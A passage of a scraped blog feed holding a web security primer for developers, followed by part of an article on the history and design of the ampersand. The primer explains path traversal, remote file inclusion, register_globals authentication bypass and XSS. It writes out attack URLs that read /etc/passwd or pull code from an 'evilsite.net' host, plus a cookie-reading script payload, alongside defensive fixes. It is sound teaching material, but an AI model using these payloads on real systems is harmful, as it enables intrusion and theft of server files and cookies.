<p>In my perfect world, no form has a &#8220;Keep me logged in&#8221; option, which of course would be a nuisance to end users. I would love to see a clever, usable solution to this problem. I use a Flex client for Twitter, not a browser, which means I am not vulnerable even on websites with clickjacking and cross-site request forgery (the latter only if people do not abuse the API to phish my followers; see the presentations at the end of this article for a demo of that).</p>
<h4>Use Clever Passwords, and Entice Users to Do the Same</h4>
<p>Even on bullet-proof systems, one attack vector is users whose passwords are very easy to guess. I change my passwords every few weeks, and I take inspiration from a book I am reading or a movie I have just seen. I also replace some characters and with numbers to make dictionary attacks harder.</p>
<p>There are <strong>two ways to crack a password</strong> (other than social engineering, which is making you tell me your password by tricking you or phishing): brute force and dictionary attacks. Brute force entails writing a loop that tries all of the different options (much like playing hangman), which can take ages and uses a lot of computing power. Dictionary attacks use a dictionary database to attempt common words instead of going letter by letter.</p>
<p>Say I am reading a Sherlock Holmes book or have just seen the new screen adaptation, my password could be <code>Sh3rl0ckW4t50n</code> or <code>b4sk3rv!ll3</code>. That may be a bit hardcore for most people but is generally a good idea. Another strategy is to take a sentence that you can memorize easily and string together the initial letters. For example, &#8220;I like to buy food for my dog and to walk with it&#8221; would be <code>Il2bffmda2wwi</code> or even <code>Il2bffmd&#38;2wwi</code>.</p>
<p>So, if you build a new Web product that needs authentication, and you really need to build your own log-in system rather than use Google, Yahoo, Facebook Connect or OpenID (which might be a good idea), please do not allow users to use passwords like &#8220;password&#8221; or the not-much-safer &#8220;password1.&#8221; Recently, a <a href="http://www.gaj-it.com/14253/twitter-bans-370-passwords-too-easy-to-hack">list of passwords banned by Twitter</a> leaked onto the Web, <a href="http://sharetext.org/BEM">shown here as the full code</a>. This is a good idea (the list, that is, not the leak).</p>
<h3>What To Do On Your Server</h3>
<p>Even if you are not a server expert, that&#8217;s no excuse for running an insecure server. Here are some things to make sure of.</p>
<h4>Turn Off Folder Listing</h4>
<p>As explained earlier, allowing people to navigate your folders (i.e. path traversal) is a bad idea. Testing whether your server has path traversal turned on is easy:</p>
<ol>
<li>Create a new folder on the server; for example, <em>pathtest</em>.</li>
<li>Add some files to the folder. But do not add <em>index.html</em>, <em>index.php</em>, <em>default.aspx</em> or whatever else your server uses as the default file name.</li>
<li>Check the folder in your browser; for example, by going to <code>http://example.com/pathtest/</code></li>
<li>If you can see a listing, contact your server admin to turn that off!</li>
</ol>
<h4>Harden Your PHP</h4>
<p>If you have a server with PHP, be aware that you are in control of a powerful tool. The worst oversight someone could make is to allow any parameter that comes in from the URI to become a global variable. This is turned off by default on PHP installs in version 4.2.0 and onward, but your configuration may have changed. In fact, some tutorials recommend that you turn it on for a script to work: this is a very, very bad idea.</p>
<p>You can easily test if globals are enabled:</p>
<ol>
<li>Create a new file named <em>test.php</em>.</li>
<li>Add the following code to it:
<pre>&lt;?php echo "*".$ouch.'*';?&gt;</pre>
</li>
<li>Upload the file to your server.</li>
<li>Browse to the file, and send a parameter called ouch; for example: <code>http://example.com/test.php?ouch=that+hurts</code></li>
<li>If your browser shows &#8220;*that hurts*&#8221;, then your server has globals registered.</li>
<li>Contact your server admin to get this fixed!</li>
</ol>
<p>Why is this important? Well, in our explanation of XSS earlier, we talked about attackers being able to add code to your page using the URI parameters in your script. If you don&#8217;t turn off globals, any variable you use and write out could become an attack. Even worse, consider the following code:</p>
<pre>
if($_POST['username'] == 'muppet' &#38;&#38;
   $_POST['password'] == 'password1') {
    $authenticated = true;
}
if($authenticated) {
  // do something only admins are allowed to do
}
</pre>
<p>If this is <em>checkuser.php</em> and global registering is on, then an attacker could call this in the browser as <code>http://example.com/checkuser.php?authenticated=true</code> and could work around the whole user checking; his authentication as <code>$_GET['authenticated']</code> automatically turns into <code>$authenticated</code>.</p>
<h4>Turn Off Error Messages</h4>
<p>A lot of servers are set up to show you error messages when the browser encounters a problem. These messages often look cryptic, but they are a great source of information for attackers.</p>
<p>Creating an error and seeing what the server spits out is one of the first steps in checking the folder structure of a server. Funnily enough, error pages stating &#8220;File XYZ could not be found&#8221; were one of the first XSS attack opportunities, because you could look for a file named <code>&lt;script&gt;alert(document.cookie),&lt;/script&gt;</code>.</p>
<h4>Automatically Checking PHP for Security Issues</h4>
<p>Uploading <a href="http://phpsec.org/projects/phpsecinfo/">PHPSecInfo</a> to a folder is a pretty handy way to perform a quick audit of your PHP server&#8217;s security. Opening it in your browser gives you a detailed checklist of common security flaws and how they should be fixed.</p>
<p>But <strong>never leave this on a live server</strong> because it gives attackers a lot of details about your set-up!</p>
<p><a href="http://phpsec.org/projects/phpsecinfo/"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/311e1_securityinfo.gif" alt="Securityinfo in Web Security: Are You Part Of The Problem?" width="550" height="499" /></a><br /><em>PHPSecInfo gives you detailed security information about your PHP setup.</em></p>
<h3>What To Do To Your Code</h3>
<p>Because you likely do not have much to do with your server let&#8217;s focus on things you do have full control of.</p>
<h4>HTML</h4>
<p>HTML is pretty safe. It is simply converted into text&mdash;no interaction with the server or calculations&mdash;so not much can go wrong. That said, you should always use HTML for what it&#8217;s for:</p>
<ul>
<li><strong>HTML structures your content.</strong><br /> HTML is not a database to store information. The reason it is not is because you cannot rely on HTML content to stay unchanged. Anyone could use browser debugging tools to mess around with your HTML and change the content. So you run into security issues with JavaScript solutions that rely on data in the HTML and don&#8217;t check the server for what that data is allowed to be.</li>
<li><strong>HTML is fully visible.</strong><br /> Don&#8217;t use comments in the HTML to store sensitive information, and don&#8217;t comment out sections of a page that are not ready yet but that point to parts of an application that are in progress.</li>
<li><strong>Hiding things doesn&#8217;t make them go away.</strong><br /> Even if you hide information with CSS or JavaScript, some people can get it anyway. HTML is not there to give your application functionality; that should always happen on the server.</li>
</ul>
<p>A wonderful example of insecure HTML was the drop-down menu on the website of a certain airline. This menu let you define the seating class you wanted to fly in as the last step before printing your voucher. The website rendered the HTML of the drop-down menu and commented out the sections that were not available for the price you had selected:</p>
<pre>&lt;select name=&quot;class&quot;&gt;
  &lt;option value=&quot;ec&quot;&gt;Economy&lt;/option&gt;
  &lt;option value=&quot;ecp&quot;&gt;Economy Plus&lt;/option&gt;
  &lt;!--
  &lt;option value=&quot;bu&quot;&gt;Business&lt;/option&gt;
  &lt;option value=&quot;fi&quot;&gt;First&lt;/option&gt;
  --&gt;
&lt;/select&gt;</pre>
<p>The server-side code did not check to see whether you were eligible for a first-class ticket; it simply relied on the option not being available. The form was then sent via JavaScript. So, all you had to do to get a first-class ticket for the price of an economy seat was use <a href="http://getfirebug.com">FireBug</a> to add a new option to the form, select the value you wanted and send it off.</p>
<h4>CSS</h4>
<p>CSS is not really capable of doing much to the document and cannot access the server&#8230; for now. One problem with CSS is background images that point to URIs. You can inject code by somehow overriding these. The same applies to the <code>@import</code> property for other style sheets.</p>
<p>Using <code>expression()</code> in Internet Explorer to make calculations (or, as in most cases, to simulate what other browsers can already do) is dangerous, though, because what you are doing in essence is executing JavaScript inside a CSS block. So, don&#8217;t use it.</p>
<p>CSS changing a lot now, and we are giving it more power than ever before. Generating content with CSS, animation, calculations and font embedding all sound absolutely cool, but I get a prickly feeling in the back of my neck when I look at it right now.</p>
<p>Attack vectors have two features: they have the power to change the content of a document, and they are technologies that are not proven and are changing constantly. This is what CSS 3 is right now. Font-embedding in particular could become a big security issue, because fonts are binary data that could contain anything: harmless characters as well as viruses masquerading as a nice charset. It will be interesting to see how this develops.</p>
<h4>JavaScript</h4>
<p>JavaScript makes the Web what it is today. You can use it to build interfaces that are fun to use and that allow visitors to reach their goals fast and conveniently. You can and should use JavaScript for the following:</p>
<ul>
<li>Create slicker interfaces (e.g. auto-complete, asynchronous uploading).</li>
<li>Warn users about flawed entries (password strength, for instance).</li>
<li>Extend the interface options of HTML to become an application language (sliders, maps, combo boxes, etc.)</li>
<li>Create visual effects that cannot be done safely with CSS (animation, menus, etc.)</li>
</ul>
<p>JavaScript is very powerful, though, which also means that it is a security issue:</p>
<ul>
<li>JavaScript gives you full access to the document and allows you to post data to the Internet.</li>
<li>You can read cookies and send them elsewhere.</li>
<li>JavaScript is also fully readable by anyone using a browser.</li>
<li>Any JavaScript on the page has the same rights as the others, regardless of where it came from. If you can inject a script via XSS, it can do and access whatever the other scripts can.</li>
</ul>
<p>This means you should not try to do any of the following in JavaScript:</p>
<ul>
<li>Store sensitive information (e.g. credit card numbers, any real user data).</li>
<li>Store cookies containing session data.</li>
<li>Try to protect content (e.g. right-click scripts, email obfuscation).</li>
<li>Replace your server or save on server traffic without a fallback.</li>
<li>Rely on JavaScript as the only means of validation. Attackers can turn off JavaScript and get full access to your system.</li>
<li>Trust any JavaScript that does not come from your server or a similar trusted source.</li>
<li>Trust anything that comes from the URI, HTML or form fields. All of these can be manipulated by attackers after the page has loaded. If you use <code>document.write()</code> on unfiltered data, you expose yourself to XSS attacks.</li>
</ul>
<p>In other words, AJAX is fun, but do not rely on its security. Whatever you do in JavaScript can be monitored and logged by an end user with the right tools.</p>
<h4>PHP (or Any Server-Side Language)</h4>
<p><strong>Here be dragons!</strong> The server-side language is where you can really mess up if you don&#8217;t know what you&#8217;re doing. The biggest problems are trusting information from the URI or user entry and printing it out in the page. As shown earlier in the XSS example with the colors, you will be making it easy to inject malicious code into your page.</p>
<p>There are two ways to deal with this: whitelisting and proper filtering.</p>
<p>Whitelisting is the most effective way to make sure nothing insecure gets written out. The trick is easy: don&#8217;t use information that gets sent through as the output; rather, just use it in conditions or as lookups.</p>
<p>Let&#8217;s say you want to add a file on demand to a page. You currently have these sections on the page: About Us, Contact, Clients, Portfolio, Home, Partners. You could store the data of these in <em>about-us.php</em>, <em>contact.php</em>, <em>clients.php</em>, <em>portfolio.php</em>, <em>index.php</em> and <em>partners.php</em>.</p>
<p>The <strong>amazingly bad way to do this</strong> is probably the way you see done in many tutorials: a file called something like <em>template.php</em>, which takes a <code>page</code> parameter with the file name.</p>
<p>The template then normally contains something like this:</p>
<pre>&lt;?php include($_GET['page']);?&gt;</pre>
<p>If you call <code>http://example.com/template.php?page=about-us.php</code>, this would load the &#8220;About Us&#8221; document and include it in the template where the code is located.</p>
<p>It would also allow someone to check out all of the other interesting things on your server. For example, <code>http://example.com/template.php?page=../../../../../../../../etc/passwd%00</code> or the like would allow an attacker to read your <code>passwd</code> file.</p>
<p>If your server allows for remote files with <code>include()</code>, you could also inject a file from another server, like <code>http://example.com/template.php?page=http://evilsite.net/exploitcode/2.txt?</code>. Remember, these text files will be executed as PHP inside your other PHP file and thus have access to everything. A lot of them contain mass-mailers or check your system for free space and upload options to store data.</p>
<p>In short: <strong>never, ever allow an unfiltered URI parameter to become part of a URI that you load in PHP or print out as an <code>href</code> or <code>src</code> in the HTML</strong>. Instead, use pointers:</p>
<pre>&lt;?php
$sites = array(
  'about'=&gt;'about-us.php',
  'contact'=&gt;'contact.php',
  'clients'=&gt;'clients.php',
  'portfolio'=&gt;'portfolio.php',
  'home'=&gt;'index.php',
  'partners'=&gt;'partners.php'
);
if( isset($_GET['page']) &#38;&#38;
    isset($sites[$_GET['page']]) &#38;&#38;
    file_exists($sites[$_GET['page']]) ){
      include($sites[$_GET['page']]);
} else {
  echo 'This page does not exist on this system.';
}
?&gt;</pre>
<p>This way, the parameters become not a file name but a word. So, <code>http://example.com/template.php?page=about</code> would include <code>about-us.php</code>, <code>http://example.com/template.php?page=home</code> would include <code>index.php</code> and so on. All other requests would trigger the error message. Note that the error message is in our control and not from the server; or else you might display information that could be used for an exploit.</p>
<p>Also, notice how defensive the script is. It checks if a <code>page</code> parameter has been sent; then it checks if an entry for this value exists in the <code>sites</code> array; then it checks if the file exist; and then, and only then, it includes it. Good code does that&#8230; which also means it can be a bit bigger than expected. That&#8217;s not exactly &#8220;Build your own PHP templating system in 20 lines of code!&#8221; But it&#8217;s much better for the Web as a whole.</p>
<p>Generally, defining all of the variables you will use before you use them is a good idea. This makes it safer even in PHP set-ups that have globals registered. The following cannot be cracked by calling the script with an <code>authenticated</code> parameter:</p>
<pre>
$authenticated = false;
if($_POST['username'] == 'muppet' &#38;&#38;
   $_POST['password'] == 'password1') {
    $authenticated = true;
}
if($authenticated) {
  // do something only admins are allowed to do
}
</pre>
<p>The demo we showed earlier makes it possible to work around this, because <code>$authenticated</code> was not pre-set anywhere.</p>
<p>Writing your own validator function is another option. For example, the color demo could be made secure by allowing only single words and numbers for the colors.</p>
<pre>$color = 'white';
$background = 'black';
if(isset($_GET['color']) &#38;&#38; isvalid($_GET['color'])){
  $color = $_GET['color'];
  if(ishexcolor($color)){
    $color = '#'.$color;
  }
}
if(isset($_GET['background']) &#38;&#38; isvalid($_GET['background'])){
  $background = $_GET['background'];
  if(ishexcolor($background)){
    $background = '#'.$background;
  }
}
function isvalid($col){
  // only allow for values that contain a to z or 0 to 9
  return preg_match('/^[a-z0-9]+$/',$col);
}
function ishexcolor($col){
  // checks if the string is 3 or 6 characters
  if(strlen($col)==3 || strlen($col)==6){
    // checks if the string only contains a to f or 0 to 9
    return preg_match('/^[a-f0-9]+$/',$col);
  }
}</pre>
<p>This allows for <code>http://example.com/test.php?color=red&#38;background=pink</code> or <code>http://example.com/test.php?color=369&#38;background=69c</code> or <code>http://example.com/test.php?color=fc6&#38;background=449933</code>, but not for <code>http://example.com/test.php?color=333&#38;background=&#38;lt/style&gt;</code>. This keeps it flexible for the end user but still safe to use.</p>
<p>If you are dealing with content that cannot be easily whitelisted, then you&#8217;ll need to filter out all the malicious code that someone could inject. This is quite the rat-race because new browser quirks are being found all the time that allow an attacker to execute code.</p>
<p>The most basic way to deal with this is to use the <a href="http://us2.php.net/manual/en/book.filter.php">native PHP filters on anything that comes in</a>. But a quite sophisticated package called <a href="http://htmlpurifier.org/">HTML Purifier</a> is also available.</p>
<h3>Housekeeping</h3>
<p>One very important part of security is keeping your server clean. If you have old, insecure code lying around, it won&#8217;t matter whether your main website is hardened and up to date with the best security measures. Your server is as vulnerable as its weakest and least-maintained code.</p>
<p>Check what you have on your server from time to time, and delete or move things that you are not interested in any more or couldn&#8217;t be bothered to maintain. Instead of deleting code, you could move it to a repository such as <a href="http://code.google.com">Google Code</a> or <a href="http://github.com">GitHub</a> and redirect the old folder to it.</p>
<p>It is also not a good idea to use the same server to test things and run a live product. Use one server as a test platform for playing around and another for grown-up stuff. It is especially important to have a different domain for each to protect your cookies.</p>
<h3>Check Your Log Files</h3>
<p>Every server comes with log files that you can access. Many hosting companies even give you detailed statistics that show you where visitors have gone and what they did.</p>
<p>Normally, we just use these to check the number of visitors, what browsers they used, where they came from, when they came and which websites were most successful. This is what makes us happy and allows us to track our progress.</p>
<p>That is not really the interesting part of the statistics package or log files, though:</p>
<ul>
<li>Check how many forms have been sent and who tried to send them. This is an indicator of CSRF and XSS attacks.</li>
<li>Check the server traffic and which files were frequently called. If the forms are old and not frequently used, you have a CSRF attack on your hands.</li>
<li>Search the logs for &#8220;txt?&#8221; endings, which are an indicator of RFI attacks. Try them out on your website; if they work, alarm bells should go off in your head. An exception to this is <em>robots.txt</em>, which is a file that search engines request before reading a folder; this is not an issue and wouldn&#8217;t be followed by a question mark anyway.</li>
<li>Check the error messages and how many of them were 404 errors (&#8221;Page not found&#8221;). Check what file names people were looking for, which folders they attempted to access and what files they tried to read.</li>
<li>Check which users tried to authenticate. If a user you don&#8217;t know was causing a lot of traffic, they already got control of your server.</li>
</ul>
<p>Your log file is your snitch that tells on the bad guys who come around trying to mess with your server. Be wise and stay a step ahead of them.</p>
<h3>Want To Know More?</h3>
<p>If you want to know more about the subject, here are some presentations and resources. Please add more in the comments if you know of good ones.</p>
<ul>
<li><a href="http://www.virtualforge.de/vmovie.php">VirtualForge</a> has some very nice video tutorials explaining different security threats.</li>
<li>Simon Willison has a <a href="http://www.slideshare.net/simon/when-ajax-attacks-web-application-security-fundamentals-presentation">good SlideShare presentation on security fundamentals</a>. He is also a prolific curator of <a href="http://simonwillison.net/tags/security/">security-related news</a>.</li>
<li><a href="http://developer.yahoo.net/blogs/theater/archives/2009/03/web_application_security.html">Things That Go Bump on the Web</a> was my first security talk, given at last year&#8217;s Web Directions North. This is the video, and <a href="http://www.slideshare.net/cheilmann/web-application-security-990546">here is the slidedeck that goes with it</a>.</li>
<li><a href="http://www.wait-till-i.com/2009/10/13/liberte-accessibilite-and-securite-that-was-paris-web-2009/">Basic Housekeeping: Plugging Obvious Security Holes In Websites</a> was my security-related talk at last year&#8217;s Paris Web conference, covering a lot of what I&#8217;ve talked about here in detail.</li>
</ul>
<p><em>(al)</em></p>
<hr />
<p>© Christian Heilmann for <a href="http://www.smashingmagazine.com">Smashing Magazine</a>, 2010. | <a href="http://www.smashingmagazine.com/2010/01/14/web-security-primer-are-you-part-of-the-problem/">Permalink</a> | <a href="http://www.smashingmagazine.com/2010/01/14/web-security-primer-are-you-part-of-the-problem/#comments">26 comments</a> | <a title="Bookmark in del.icio.us" href="http://del.icio.us/post?url=http://www.smashingmagazine.com/2010/01/14/web-security-primer-are-you-part-of-the-problem/&amp;title=Web Security: Are You Part Of The Problem?">Add to del.icio.us</a> | <a title="Bookmark in Digg" href="http://digg.com/submit?phase=2&amp;url=http://www.smashingmagazine.com/2010/01/14/web-security-primer-are-you-part-of-the-problem/">Digg this</a> | <a title="Stumble on StumbleUpon" href="http://www.stumbleupon.com/submit?url=http://www.smashingmagazine.com/2010/01/14/web-security-primer-are-you-part-of-the-problem/">Stumble on StumbleUpon!</a> | <a title="Tweet us!" href="http://twitter.com/home?status=@tweetmeme%20@smashingmag%20Reading%20'Web Security: Are You Part Of The Problem?' http://www.smashingmagazine.com/2010/01/14/web-security-primer-are-you-part-of-the-problem/">Tweet it!</a> | <a title="Bookmark in Reddit" href="http://reddit.com/submit?url=http://www.smashingmagazine.com/2010/01/14/web-security-primer-are-you-part-of-the-problem/">Submit to Reddit</a> | <a href="http://forum.smashingmagazine.com/">Forum Smashing Magazine</a><br /> Post tags: <a href="http://www.smashingmagazine.com/tag/security/" rel="tag">security</a> </p>
<p><a href="http://rss1.smashingmagazine.com/feed/">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/web-security-are-you-part-of-the-problem/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>The History of the Ampersand and Showcase</title>
		<link>http://www.neurosoftware.ro/programming-blog/facebook-web-design/tutorial/the-history-of-the-ampersand-and-showcase/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/facebook-web-design/tutorial/the-history-of-the-ampersand-and-showcase/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 06:33:08 +0000</pubDate>
		<dc:creator>Facebook-Web-Design</dc:creator>
				<category><![CDATA[tutorial]]></category>
		<category><![CDATA[ampersand]]></category>
		<category><![CDATA[Apple Chancery]]></category>
		<category><![CDATA[Art Ampersands]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[century]]></category>
		<category><![CDATA[cursive scripts]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[english speaking schools]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[Georgia]]></category>
		<category><![CDATA[ligature]]></category>
		<category><![CDATA[modern fonts]]></category>
		<category><![CDATA[MySql]]></category>
		<category><![CDATA[Read]]></category>
		<category><![CDATA[T. Even]]></category>
		<category><![CDATA[traditional representations]]></category>
		<category><![CDATA[typographical characters]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/facebook-web-design/tutorial/the-history-of-the-ampersand-and-showcase/</guid>
		<description><![CDATA[The ampersand is one of the most unique typographical characters out there. Typography designers can exercise a lot more artistic freedom in the design of the ampersand, ranging from very traditional representations to those that bear little resemblance to the original form. But many designers have little knowledge about the origin and meaning of the [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.webdesignerdepot.com/2010/01/the-history-of-the-ampersand-and-showcase/"><img class="image-border alignleft" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/d78a4_thumb.jpg" alt="" width="200" height="160" /></a>The <strong>ampersand</strong> is one of the most unique typographical characters out there.</p>
<p>Typography designers can exercise a lot more artistic freedom in the design of the ampersand, ranging from very traditional representations to those that bear little resemblance to the original form.</p>
<p>But many designers have little knowledge about the <strong>origin and meaning</strong> of the ampersand. The ampersand has a long and rather interesting history, though.</p>
<p>And with all the variations available out there, there are a whole host of design possibilities presented by this particular character.</p>
<p>Read on for more information, <strong>a history of the ampersand</strong>, and <strong>a gallery of ampersand designs</strong> from a variety of different typefaces.<span></span></p>
<h1>A Brief History of the Ampersand</h1>
<p>The ampersand can be traced back to the first century AD. It was originally a ligature of the letters <strong>E and T</strong> (&#8221;et&#8221; is Latin for and). If you look at the modern ampersand, you&#8217;ll likely still be able to see the E and T separately.</p>
<p>The first ampersands looked very much like the separate E and T combined, but as type developed over the next few centuries, it eventually became more stylized and less representative of its origins.</p>
<p>You can see the <strong>evolution</strong> of the ampersand below (1 is like the original Roman ligature, 2 and 3 are from the fourth century, and 4-6 are from the ninth century).</p>
<p>The modern ampersand has remained largely unchanged from the Carolignian ampersands developed in the ninth century.</p>
<p><a href="http://en.wikipedia.org/wiki/File:Historical_ampersand_evolution.svg"><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/2c29d_amp.jpg" alt="" width="615" height="158" /></a></p>
<p>Italic ampersands were a later ligature of E and T, and are also present in modern fonts. These were developed as part of cursive scripts that were developed during the Renaissance. They&#8217;re often more formal-looking and fancier than the standard Carolignian ampersand.</p>
<p>The word &#8220;ampersand&#8221; was first added to dictionaries in 1837. The word was created as a slurred form of <strong>&#8220;and, per se and&#8221;</strong>, which was what the alphabet ended with when recited in English-speaking schools. (Historically, &#8220;and per se&#8221; preceded any letter which was also a word in the alphabet, such as &#8220;I&#8221; or &#8220;A&#8221;. And the ampersand symbol was originally the last character in the alphabet.)</p>
<p>The ampersand is a part of every roman font. It&#8217;s used in modern text often, probably most frequently in the names of corporations and other businesses, or in other formal titles (such as Dungeons &amp; Dragons).</p>
<p>It&#8217;s experiencing a bit of a resurgence in general usage, as it commonly replaces &#8220;and&#8221; in text messages and Twitter updates. Ampersands are also commonly used in programming, particularly in MySQL, C and C++, XML, SGML, and BASIC.</p>
<p><br class="spacer_" /></p>
<h1>Ampersand Designs</h1>
<p>The original ampersand designs reflected their origins as a ligature of E and T. Even as the ampersand has evolved and become more stylized, it still retains the basic shape of E and T combined.</p>
<p>The standard ampersand most of us are used to seeing is the Carolignian variety, and is featured in many commonly-used fonts. Here are some examples:</p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/2c29d_andalemono.jpg" alt="" /><br />
 <strong>Andale Mono &#8211; </strong><em>A very traditional, sans-serif example.</em></p>
<p><br class="spacer_" /></p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/2c29d_applechancery.jpg" alt="" /> <strong>Apple Chancery</strong><em> &#8211; A fancier, serif example.</em></p>
<p><br class="spacer_" /></p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/3353d_kingthingspetrock.jpg" alt="" /><strong>Kingthings Petrock -</strong><em> A gothic example.</em></p>
<p><br class="spacer_" /></p>
<p>The other common ampersand design is the italic ampersand, featured below:</p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/3353d_monotypecorsiva.jpg" alt="" /><strong>Monotype Corsiva &#8211; </strong><em>A traditional script example.</em></p>
<p><br class="spacer_" /></p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/3353d_scriptina.jpg" alt="" /> <strong>Scriptina -</strong><em> A less-formal script example.</em></p>
<p><br class="spacer_" /></p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/3eac7_allerdisplay.jpg" alt="" /> <strong>Aller Dispay &#8211; </strong><em>A modern, sans-serif example.</em></p>
<p><br class="spacer_" /></p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/8a8c3_hillhouse.jpg" alt="" /> <strong>Hill House &#8211; </strong><em>A craftsman-style example.</em></p>
<p><br class="spacer_" /></p>
<h1>Ampersands in Websafe and Web-Common Fonts</h1>
<p>Some websafe and commonly used fonts on the web have excellent ampersand designs. Others, not so much. Here are the ampersands from a variety of web-common fonts:</p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/8a8c3_arial.jpg" alt="" /> <strong><strong>Arial &#8211; </strong></strong><em>Arial has a very basic, sans-serif ampersand.</em></p>
<p><br class="spacer_" /></p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/02b87_georgia.jpg" alt="" /> <strong>Georgia -</strong><em> A very traditional, serif ampersand.</em></p>
<p><br class="spacer_" /></p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/02b87_helvetica.jpg" alt="" /><strong>Helvetica</strong> &#8211; <em>Helvetica&#8217;s ampersand is slightly more refined than Arial.</em></p>
<p><br class="spacer_" /></p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/02b87_palatino.jpg" alt="" /> <strong>Palatino &#8211; </strong><em>Another very traditional example.</em></p>
<p><br class="spacer_" /></p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/412ce_timesnewroman.jpg" alt="" /> <strong>Times New Roman</strong><em> &#8211; A heavy, somewhat bulky-looking ampersand.</em></p>
<p><br class="spacer_" /></p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/412ce_verdana.jpg" alt="" /> <strong>Verdana &#8211; </strong><em>The verdana ampersand is more squat and square than many other sans-serif examples.</em></p>
<p><br class="spacer_" /></p>
<p><img class="image-border" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/412ce_trebuchetms.jpg" alt="" /><strong>Trebuchet MS</strong><em> &#8211; The only web-common font that uses an italic-style ampersand.</em></p>
<p><br class="spacer_" /></p>
<p>If you&#8217;re unhappy with the ampersand in a font you&#8217;ve chosen for your website, there are ways to use custom ampersands. The <a href="http://blog.hamstu.com/2007/05/31/web-typography-just-got-better/">Typogrify</a> plugin for WordPress makes it incredibly easy to use a custom ampersand on your WordPress blog.</p>
<p><br class="spacer_" /></p>
<h1>The Ampersand in Design and Art</h1>
<p>Ampersands have become a bit of an obsession for some. There are <a href="http://ampersand.gosedesign.net/">blogs</a> that focus on ampersands (some within larger typography blogs, others focusing solely on the ampersand). There are t-shirts. And there are a surprising number of people out there who have ampersand tattoos. Here are some examples of ampersands in real life:</p>
<p><a href="http://ampersand.gosedesign.net/wp-content/pretzel-ampersand.jpg"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/17ce3_1.jpg" alt="" width="615" height="461" /></a></p>
<p><a href="http://www.flickr.com/photos/myklroventine/3583704755/sizes/l/in/set-72157601272693983/"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/17ce3_2.jpg" alt="" width="615" height="605" /></a></p>
<p><a href="http://www.flickr.com/photos/myklroventine/3584512380/sizes/l/in/set-72157601272693983/"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/17ce3_3.jpg" alt="" width="615" height="563" /></a></p>
<p><a href="http://farm3.static.flickr.com/2513/3784503453_7ce995e317.jpg"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/6ad82_4.jpg" alt="" width="615" height="410" /></a></p>
<p><a href="http://issuu.com/rmasri10/docs/kcaiampersand_springsinglepages"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/6ad82_5.jpg" alt="" width="615" height="682" /></a></p>
<p><a href="http://ampersand.gosedesign.net/wp-content/harolds-london.jpg"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/b6357_6.jpg" alt="" width="615" height="923" /></a></p>
<p><a href="http://ampersand.gosedesign.net/wp-content/andy-mangold-2.jpg"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/b6357_7.jpg" alt="" width="615" height="409" /></a></p>
<p><a href="http://www.webdesignerdepot.com/&lt;/p&gt;<br />
&lt;p&gt;&lt;img src="><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/b6357_16.jpg" alt="" width="615" height="748" /></a></p>
<p><a href="http://ampersand.gosedesign.net/wp-content/uo.jpg"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/9f5db_8.jpg" alt="" width="615" height="924" /></a></p>
<p><a href="http://www.flickr.com/photos/ricknunn/3522992506/sizes/l/"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/9f5db_9.jpg" alt="" width="615" height="409" /></a></p>
<p><a href="http://www.flickr.com/photos/edgeplot/364284317/sizes/l/"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/9f5db_10.jpg" alt="" width="615" height="820" /></a></p>
<p><a href="http://www.flickr.com/photos/whitingx/170368637/"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/c834c_11.jpg" alt="" width="615" height="818" /></a></p>
